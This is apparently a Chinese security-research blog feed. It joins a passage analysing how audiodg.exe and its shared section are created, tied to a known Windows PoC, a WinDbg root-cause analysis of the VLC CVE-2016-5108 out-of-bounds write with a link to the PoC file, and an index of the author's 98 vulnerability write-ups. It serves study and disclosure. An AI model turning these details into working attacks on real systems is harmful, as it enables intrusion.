<span class="md_line md_line_start md_line_end">因此实际上IMMDevieEnumerator只是确保audiodg.exe一定会被创建出来,若当前系统audiodg.exe已被创建,可以直接通过NtQuerySystemInformation的方法把audiodg.exe进程空间句柄表的section object获取出来,再通过NtMapViewOfSection映射进当前进程空间。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">当然关于section的创建并不是在AudioServerInitialize中完成的,这就是第二个有趣的地方,如果想正常调试james forshaw的PoC的内容,我们需要kill掉taskhostw进程,同时kill掉audiodg.exe,这时候不要再做其他的声卡相关操作,否则又会在audiosrv触发创建audio.srv流程(比如SndVol.exe进程)。</span>
</p>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">第二点我们来看看IAudioClient是怎么把audiodg.exe及section创建出来的,其实我们在当前中调用COM接口,一直是进程内通信,audioses.dll被加载进当前空间并调用它的方法。而之所以会out-of-process调用到audiosrv方法,其实是IAudioClient中调用了RPC接口。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">IAuidoClient的Initialize方法会调用CAudioClient::InitializeInternalHelper函数,最终调用CAudioClient::InitializeAudioServer向audioserver发送rpc请求,当audiodg.exe进程不存在时,server调用CreateProcess创建audiodg.exe, InitializeAudioServer的函数实现如下:</span>
</p>
<pre><code>__int64 __fastcall CAudioClient::InitializeAudioServer(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7)
{
LODWORD(v8) = GetAudioServerBindingHandle(a1, L"AudioClientRpc", (RPC_BINDING_HANDLE *)&v10);
if ( (signed int)v8 < 0
|| (CAudioClient::GetVadServerSettings(v7, (__m128i *)&v12),
v8 = NdrClientCall3(&pProxyInfo, 4u, 0i64, v10).Pointer,
v11 = (__int64)v8,
(signed int)v8 < 0) )
{</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">其中NdrClientCall3最终调用RPC过程,它的第二个参数指向ProcNum,我们可以通过RPCView看到函数调用,或者直接通过IDA pro查看RPC Server调用RpcServerRegisterIf3时的MIDL规范的结构体找到IDL的方法。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/20190511/4.png" alt="" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">RPC Server的注册过程在CAudioSrv::VAD_AudiosrvServiceStart中实现。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">最终创建audiodg.exe进程,关于进程创建我在上面已经提到,这里不再赘述,这时虽然audiodg.exe被创建,但是section并未创建在audiodg.exe进程中。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/20190511/5.png" alt="" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">接下来在调用完CAudioClient::InitializeAudioServer之后,会继续调用CAudioClient::CreateRemoteStream,这同样是一个RPC调用过程。</span>
</p>
<pre><code>__int64 __fastcall CAudioClient::CreateRemoteStream(__int64 a1)
{
v1 = *(_DWORD *)(a1 + 180);
v2.Pointer = NdrClientCall3(&pProxyInfo, 7u, 0i64, *(_QWORD *)(a1 + 0xD8)).Pointer;</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">ProcNum为7,根据IDL可以知道这个CreateRemoteStream会在AudioServerCreateStream,可以在svchost中通过be a1 audiosrv!AudioServerCreateStream下断点,之后在Client单步执行即可命中断点。之后继续跟踪,调用过程如下:</span>
</p>
<pre><code>audiosrv!CVADServer::CreateStream
|
audiosrv!CAudioResourceManager::CreateStream
|
audiosrv!InitializeStreamAndModeDescriptors
|
audiosrv!CCompositeSystemEffect::Initialize</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">最终在CCompositeSystemEffect::Initialize会调用MakeAndInitialize函数之后调用CoCreateInstance创建APOWrapperSrv Class方法实例,在audiodg.exe列集过程中会通过file mapping创建stream的section。可以在audiodg.exe这样下断点:ba e1 ntdll!NtCreateSection。在svchost中单步执行会观察到audiodg.exe进程命中断点。</span>
</p>
<pre><code>0:007> pc
audiosrv!CCompositeSystemEffect::Initialize+0x127:
00007ffd`04b2bd27 e834a40000 call audiosrv!Microsoft::WRL::Details::MakeAndInitialize<CAPOWrapperClient,IAudioProcessingObject,unsigned short const * __ptr64 & __ptr64,enum APO_TYPE & __ptr64,_GUID const & __ptr64> (00007ffd`04b36160)
0:007> p
0:004> g
Breakpoint 0 hit
ntdll!NtCreateSection:
00007ffd`11e9ffc0 4c8bd1 mov r10,rcx
0:001> k
Child-SP RetAddr Call Site
0000009c`8807b828 00007ffd`0e155521 ntdll!NtCreateSection
0000009c`8807b830 00007ffd`0e156570 KERNELBASE!CreateFileMappingNumaW+0x111
0000009c`8807b8f0 00007ffd`11548049 KERNELBASE!CreateFileMappingW+0x20
0000009c`8807b940 00007ffd`11548477 clbcatq!StgIO::MapFileToMem+0x79
0000009c`8807b980 00007ffd`11546cf8 clbcatq!StgIO::Open+0x25b
0000009c`8807ba00 00007ffd`1153b636 clbcatq!StgDatabase::InitDatabase+0x108
0000009c`8807ba60 00007ffd`1153b4e1 clbcatq!OpenComponentLibraryEx+0x66
0000009c`8807bab0 00007ffd`1153adf1 clbcatq!OpenComponentLibraryTS+0x21
0000009c`8807bae0 00007ffd`1153b2f2 clbcatq!_RegGetICR+0x129
0000009c`8807bda0 00007ffd`11526fd2 clbcatq!CoRegGetICR+0x76
0000009c`8807bdd0 00007ffd`11521b41 clbcatq!CComClass::Init+0x5442
0000009c`8807bf90 00007ffd`1123eb9f clbcatq!CComCLBCatalog::GetClassInfoW+0x81
0000009c`8807bfe0 00007ffd`1123e71d combase!CComCatalog::GetClassInfoInternal+0x3ef [onecore\com\combase\catalog\catalog.cxx @ 3419]
0000009c`8807c220 00007ffd`1125febc combase!CComCatalog::GetClassInfoW+0x5d [onecore\com\combase\catalog\catalog.cxx @ 1114]
0000009c`8807c370 00007ffd`1125cb14 combase!GetClassInfoWithInprocOrLocalServer+0x70 [onecore\com\combase\inc\comcataloghelpers.hpp @ 58]
0000009c`8807c3c0 00007ffd`1125b91b combase!wCoGetTreatAsClass+0x88 [onecore\com\combase\class\cogettreatasclass.cpp @ 44]
0000009c`8807c490 00007ffd`1125b35f combase!CClassCache::CClassEntry::Complete+0x67 [onecore\com\combase\objact\dllcache.cxx @ 751]
0000009c`8807c500 00007ffd`11224f01 combase!CClassCache::CClassEntry::Create+0x4b [onecore\com\combase\objact\dllcache.cxx @ 872]
0000009c`8807c560 00007ffd`1125aec5 combase!CClassCache::GetClassObjectActivator+0x571 [onecore\com\combase\objact\dllcache.cxx @ 5424]
0000009c`8807c6d0 00007ffd`11222606 combase!CClassCache::GetClassObject+0x45 [onecore\com\combase\objact\dllcache.cxx @ 5271]
0000009c`8807c740 00007ffd`1123d937 combase!ICoGetClassObject+0x6f6 [onecore\com\combase\objact\objact.cxx @ 1500]
0000009c`8807cae0 00007ffd`1123ce28 combase!GetPSFactoryInternal+0x1f7 [onecore\com\combase\dcomrem\riftbl.cxx @ 2542]
0000009c`8807cc20 00007ffd`112416d0 combase!CStdMarshal::GetPSFactory+0x50 [onecore\com\combase\dcomrem\marshal.cxx @ 6408]
0000009c`8807cd70 00007ffd`1124584a combase!CStdMarshal::CreateStub+0x120 [onecore\com\combase\dcomrem\marshal.cxx @ 6681]
0000009c`8807cfa0 00007ffd`1124467c combase!CStdMarshal::MarshalObjRefImpl+0x5ca [onecore\com\combase\dcomrem\marshal.cxx @ 1157]
0000009c`8807d110 00007ffd`1123933f combase!CStdMarshal::MarshalObjRef+0x8c [onecore\com\combase\dcomrem\marshal.cxx @ 1078]</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">在MakeAndInitialize中关键调用如下:</span>
</p>
<pre><code> v15 = CoCreateInstance(
&GUID_3a8b5a92_80b0_48b3_8197_701ecd3261e4,
0i64,
0x17u,
&GUID_69fed9b6_5405_48b8_3db0_4ca492fc3677,
(LPVOID *)v9 + 7);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">最终创建APOWrapperSrv Class的IAPOWrapperSrv接口实例,在audiodg中会创建storage类型的database,从而调用file mapping创建一个section。这个section会在后面作为共享stream使用。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/20190511/6.png" alt="" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">待解决的问题:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我是在rs5 x64的环境下调试的这个漏洞,在分析的过程中也发现了james Forshaw在case下留的几点rs5环境下的安全机制,有待后续研究。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/20190511/7.png" alt="" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">作者能力有限,若有错误请指正,感谢阅读。</span>
</p>[CVE-2016-5108]VideoLAN VLC Media Player 2.2.1越界写拒绝服务漏洞2019-03-08T16:00:00Z2019-03-09-01WHEREISK0SHL<p class="md_block">
<span class="md_line md_line_start md_line_end">作者:k0shl 转载请注明出处:https://whereisk0shl.top</span>
</p>
<hr>
<h3 id="toc_0" class="h16">漏洞说明</h3>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">VideoLAN VLC Media Player是一款播放器,这个漏洞编号为CVE-2016-5108,播放器在处理某数据的时候,由于处理某数据时没有对数据长度进行严格校验,导致越界写入引发拒绝服务漏洞,下面对此漏洞进行详细分析。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">软件下载:<br /></span>
<span class="md_line md_line_end">https://www.exploit-db.com/apps/b8c997e772be343e1664fee14c1fb9b7-vlc-2.2.1-win32.exe</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">PoC:<br /></span>
<span class="md_line md_line_end">https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41025.mov</span>
</p>
<hr>
<h3 id="toc_1" class="h16">漏洞复现</h3>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">首先打开VLC,打开mov文件,程序崩溃,附加windbg</span>
</p>
<pre><code>(1588.788): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=0000178f ecx=00000058 edx=0000178f esi=0d1fd000 edi=1a44fdc8
eip=68322501 esp=1a44fd30 ebp=155cb8de iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll -
libadpcm_plugin+0x2501:
68322501 66891e mov word ptr [esi],bx ds:0023:0d1fd000=????</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">通过kb回溯堆栈调用</span>
</p>
<pre><code>0:024> kb
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\KERNELBASE.dll -
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
1a44fd38 75536a18 7a0e1e88 1a44fdc8 0d1fd000 libadpcm_plugin+0x2501
00000000 00000000 00000000 00000000 00000000 KERNELBASE!InterlockedCompareExchange+0xf8</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">之前只有一个Interlock的原子函数调用,来看一下当前是用bx向esi指针写入数据,esi指针的值是一个无效值,来看一下之前的情况。</span>
</p>
<pre><code>0:024> dd 0d1fd000-8
0d1fcff8 c0c0178f c0c0c0c0 ???????? ????????</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到,前面还有值,这有可能是一个长度控制不严格引发的越界写漏洞。</span>
</p>
<hr>
<h3 id="toc_2" class="h16">漏洞分析</h3>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">分析的过程中,发现了这个漏洞处于一个函数中。</span>
</p>
<pre><code>int __cdecl sub_714C18B0(int a1, int *a2)
{
while ( 1 )
{
}
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">函数sub_714c18b0中有一处while循环,这个while循环代码量很长,执行的是一个向内存拷贝的操作,这里我就不具体分析整个代码逻辑,只看关键部分,首先是对待拷贝区的赋值。</span>
</p>
<pre><code>.text:714C24B7 ; 846: v83 = 88;
.text:714C24B7 cmova ecx, eax
.text:714C24BA mov [esi], edx</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">714c24ba地址执行完毕后,edx存放的是待拷贝缓冲区的指针,它会交给esi地址中。</span>
</p>
<pre><code>0:012> g
Breakpoint 0 hit
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf24ba esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
libadpcm_plugin+0x24ba:
6bdf24ba 8916 mov dword ptr [esi],edx ds:0023:16d2fdc8=16d2fd74
0:006> p
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf24bc esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
libadpcm_plugin+0x24bc:
6bdf24bc 897c2418 mov dword ptr [esp+18h],edi ss:0023:16d2fd48=16d2fde8
0:006> dd 16d2fdc8
16d2fdc8 0e1f6e40</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">之后每轮都会向这个缓冲区指针内写入值,接下来继续单步跟踪,发现了要拷贝字符串的赋值。</span>
</p>
<pre><code>0:006> p
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf24c0 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
libadpcm_plugin+0x24c0:
6bdf24c0 e9ef000000 jmp libadpcm_plugin+0x25b4 (6bdf25b4)
0:006> p
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf25b4 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
libadpcm_plugin+0x25b4:
6bdf25b4 8b3c8dc062df6b mov edi,dword ptr libadpcm_plugin!vlc_entry_license__2_2_0b+0x2c20 (6bdf62c0)[ecx*4] ds:0023:6bdf6390=00000424</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">在6bdf25b4地址位置执行了一处赋值操作,会把6bdf62c0这个固定缓冲区中的内容拷贝到edi中,而是从ecx*4+6bdf62c0的位置向前拷贝,ecx会逐步减少,拷贝的长度就是(6bdf6390-6bdf62c0)*8,这个后面会提到。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">接下来会将edi的值加eax的值,这个eax就是每次循环最后赋值的值,相加后算数右移3位。</span>
</p>
<pre><code>0:006> p
eax=00000058 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424
eip=6bdf25bf esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
libadpcm_plugin+0x25bf:
6bdf25bf 89f8 mov eax,edi
0:006> p
eax=00000424 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424
eip=6bdf25c1 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
libadpcm_plugin+0x25c1:
6bdf25c1 c1f803 sar eax,3
0:006> p
eax=00000084 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424
eip=6bdf25c4 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
libadpcm_plugin+0x25c4:
6bdf25c4 89de mov esi,ebx</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">算数右移后的值在eax中,是0x84,随后会将eax的值交给ebx,再把ebx的值和上一轮的值相加。</span>
</p>
<pre><code>0:006> p
eax=00000084 ebx=00000000 ecx=00000034 edx=000004a8 esi=00000000 edi=00000424
eip=6bdf25cf esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libadpcm_plugin+0x25cf:
6bdf25cf 0f44d0 cmove edx,eax
0:006> p
eax=00000084 ebx=00000000 ecx=00000034 edx=00000084 esi=00000000 edi=16d2fdc8
eip=6bdf25f4 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libadpcm_plugin+0x25f4:
6bdf25f4 0317 add edx,dword ptr [edi] ds:0023:16d2fdc8=00001200</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">最后会将edx的值先存放进eax指针,这个指针很熟悉吧,就是之前相加的指针,之后每次都会叠加,而edx同时也会交给ebx,最后ebx会执行拷贝。</span>
</p>
<pre><code>0:006> p
eax=16d2fdc8 ebx=00000000 ecx=00000034 edx=00001284 esi=00000000 edi=16d2fdc8
eip=6bdf3494 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
libadpcm_plugin+0x3494:
6bdf3494 8910 mov dword ptr [eax],edx ds:0023:16d2fdc8=00001200
0:006> p
eax=16d2fdc8 ebx=00000000 ecx=00000034 edx=00001284 esi=00000000 edi=16d2fdc8
eip=6bdf3496 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
libadpcm_plugin+0x3496:
6bdf3496 89d3 mov ebx,edx
0:006> p
eax=00000033 ebx=00001284 ecx=00000058 edx=00001284 esi=0e1f6e40 edi=16d2fdc8
eip=6bdf2501 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
libadpcm_plugin+0x2501:
6bdf2501 66891e mov word ptr [esi],bx ds:0023:0e1f6e40=c0c0</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">那么现在这个漏洞的原因就很清晰了,从6bdf6390开始向前依次拷贝内容,每次拷贝的内容都会交给固定指针,这个指针里的值会进行叠加算术右移等操作,之后继续进行拷贝,而这个长度没有进行控制。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">而每一轮拷贝,拷贝区长度都会加0x10。</span>
</p>
<pre><code>0:006> p
eax=00000033 ebx=00001284 ecx=00000058 edx=00001284 esi=0e1f6e40 edi=16d2fdc8
eip=6bdf2501 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
libadpcm_plugin+0x2501:
6bdf2501 66891e mov word ptr [esi],bx ds:0023:0e1f6e40=c0c0
0:006> g
Breakpoint 1 hit
eax=00000031 ebx=00001369 ecx=00000058 edx=00001369 esi=0e1f6e50 edi=16d2fdc8
eip=6bdf2501 esp=16d2fd30 ebp=11b208c3 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
libadpcm_plugin+0x2501:
6bdf2501 66891e mov word ptr [esi],bx ds:0023:0e1f6e50=c0c0</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">注意esi的值,接下来来看一下几轮拷贝之后esi最开始拷贝位置的值的前后变化。</span>
</p>
<pre><code>0:006> dd esi
0e1f6e40 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e50 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e60 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e70 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e80 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e90 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6ea0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0:006> dd 0e1f6e40
0e1f6e40 c0c01284 c0c0c0c0 c0c012fc c0c0c0c0
0e1f6e50 c0c01369 c0c0c0c0 c0c013cc c0c0c0c0
0e1f6e60 c0c01426 c0c0c0c0 c0c01478 c0c0c0c0
0e1f6e70 c0c014c2 c0c0c0c0 c0c01506 c0c0c0c0
0e1f6e80 c0c01543 c0c0c0c0 c0c0157b c0c0c0c0
0e1f6e90 c0c015ae c0c0c0c0 c0c015dc c0c0c0c0
0e1f6ea0 c0c01606 c0c0c0c0 c0c0162c c0c0c0c0
0e1f6eb0 c0c0164e c0c0c0c0 c0c0166d c0c0c0c0</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">而拷贝区的内容则是这样</span>
</p>
<pre><code>0:006> dd 6bdf6360
6bdf6360 00000151 00000173 00000198 000001c1
6bdf6370 000001ee 00000220 00000256 00000292
6bdf6380 000002d4 0000031c 0000036c 000003c3
6bdf6390 00000424 0000048e 00000502 00000583
6bdf63a0 00000610 000006ab 00000756 00000812
6bdf63b0 000008e0 000009c3 00000abd 00000bd0
6bdf63c0 00000cff 00000e4c 00000fba 0000114c</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">也就是说,每次拷贝4个字节,经过算法处理后,会在待拷贝区偏移8字节,长度还要乘以2,最后也就是说拷贝的长度,超过了申请buffer的长度,造成了越界写,引发了异常。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这个漏洞不能造成任意地址写,因此不能利用,是个拒绝服务漏洞。</span>
</p>写在98篇漏洞分析之后---2019.03.092019-03-08T16:00:00Z2019-03-09WHEREISK0SHL<p class="md_block">
<span class="md_line md_line_start md_line_end">作者:k0shl</span>
</p>
<hr>
<h1 id="toc_0" class="h16">写在前面</h1>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">今天结束了最后一篇漏洞分析的分享,意味着我在15-16年分析的98篇漏洞分析全部分享结束了,我的博客从2016年10月23日上线之后一直保持更新,到现在经过了两年半的时间,感谢小伙伴们一直以来的支持。这98篇漏洞分析,也几乎是我15-16年学习二进制的全部回忆。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我在15-16年处于入门阶段,由于那段时间一直是自己学习,踩了很多坑,也学习到了很多东西,感谢帮助过我的前辈老师还有小伙伴们,以及看雪,i春秋,drops,玄武、wiki的推送以及大佬们的个人博客等等很多优质的学习资源,让我不断的意识到错误,改正错误,并始终保持着对技术的敬畏。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">尤其是exploit-db,我这98篇文章几乎全部都是来自exploit-db,exploit-db提供了exploit/PoC,以及漏洞软件下载的地址,paper以及一些漏洞细节的说明,这让我在搭建环境方面节省了太多的精力,很多进行过漏洞分析的小伙伴可能深有体会,很多时候漏洞分析很快,但是搭建环境的坑很多。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">也正是15-16年的学习让我从一个二进制的门外汉慢慢变成了一个初出茅庐的新手,深感二进制魅力无穷,01的世界精彩,也结实了很多很多好朋友,在他们身上学到了很多。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在更新的这两年半的时间里,不断收到邮件和QQ好友申请,有很多看过支持过我的读者们和我交流技术,提出建议,在带着技术疑问对我曾经的漏洞分析的复盘中,我发现了自己曾经许多的知识误区并及时改正,感谢与我讨论的读者们。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这两年半我也经历了很多重要的人生抉择,其实我也不知道在未来看自己当年的抉择是否正确,但至少我绝对不会后悔,因为至少现在看我的抉择是正确的,并且人生如棋,既然落子,那就不会也不能再后悔。感谢家人的支持,不光是人生抉择上,还有我当时在进行学习时的鼓励。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在这段时间我同时也在一些优质媒体诸如安全客等等上分享过一些这段时间的一些新的漏洞分析,相比较这98篇漏洞分析要更深入一些,也算是我成长的轨迹。最后还是要感谢所有支持过,看过我博客的读者们,今后我的博客也将继续保持不定期更新,分享一些最新的研究成果。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我把我这98篇漏洞分析按照漏洞类型进行了总结归纳在这里分享给大家,也作为一个分割线,结束是新的奋斗的开始,今后要继续努力啦!</span>
</p>
<hr>
<h1 id="toc_1" class="h16">漏洞总结索引</h1>
<hr>
<h2 id="toc_2" class="h16">越界读写</h2>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-10-23-1">TCPDUMP 4.5.2拒绝服务漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2019-02-04">NetCat【nc】 0.7.1 远程拒绝服务漏洞</a><br /></span>
<span class="md_line md_line_dom_embed md_line_end"><a class="md_compiled" href="https://whereisk0shl.top/post/2019-03-09">VideoLAN VLC Media Player 2.2.1</a></span>
</p>
<h2 id="toc_3" class="h16">栈溢出</h2>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-10-23">HALLIBURTON LOGVIEW PRO拒绝服务漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-10-24">ABSOLUTEFTP 远程代码执行漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-10-30">Mini httpd远程代码执行漏洞(CVE-2013-5019)</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-11-03">PHP 5.0.0 tidy_parse_file代码执行漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-11-04">Asx to MP3本地代码执行漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-11-05">Cain RDP缓冲区溢出漏洞(CVE-2008-5405)</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-11-10">EFS Software HTTP Server远程代码执行漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-11-13">DameWare Mini Client远程代码执行漏洞(CVE-2016-2345)</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-11-17">i-FTP SEH缓冲区溢出漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-11-17-1">AutoPlay远程代码执行漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-11-23">putty pscp远程代码执行漏洞(CVE-2016-2563)</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-12-07">Free WMA MP3 Converter 1.8缓冲区溢出漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-12-10">Freefloat FTP Server远程代码执行漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-12-14">Disk Pulse Enterprise远程代码执行漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-12-21">MPlayer Lite栈溢出漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-12-25">CuteZip 2.1代码执行漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2016-12-28">Soritong MP3 Player代码执行漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2017-01-02">W10 NOVUS SCADA工控远程拒绝服务漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2017-01-07">WinCalc 2 .num栈溢出漏洞</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2017-01-14">Konica Minolta FTP CWD命令远程代码执行漏洞(CVE-2015-7768)</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2017-01-27">Ministream RM-MP3 CONVERTER远程代码执行漏洞(CVE-2014-9448)</a><br /></span>
<span class="md_line md_line_dom_embed"><a class="md_compiled" href="https://whereisk0shl.top/post/2017-02-03">Winstats(.fma)本地栈溢出漏洞</a><br /></span>
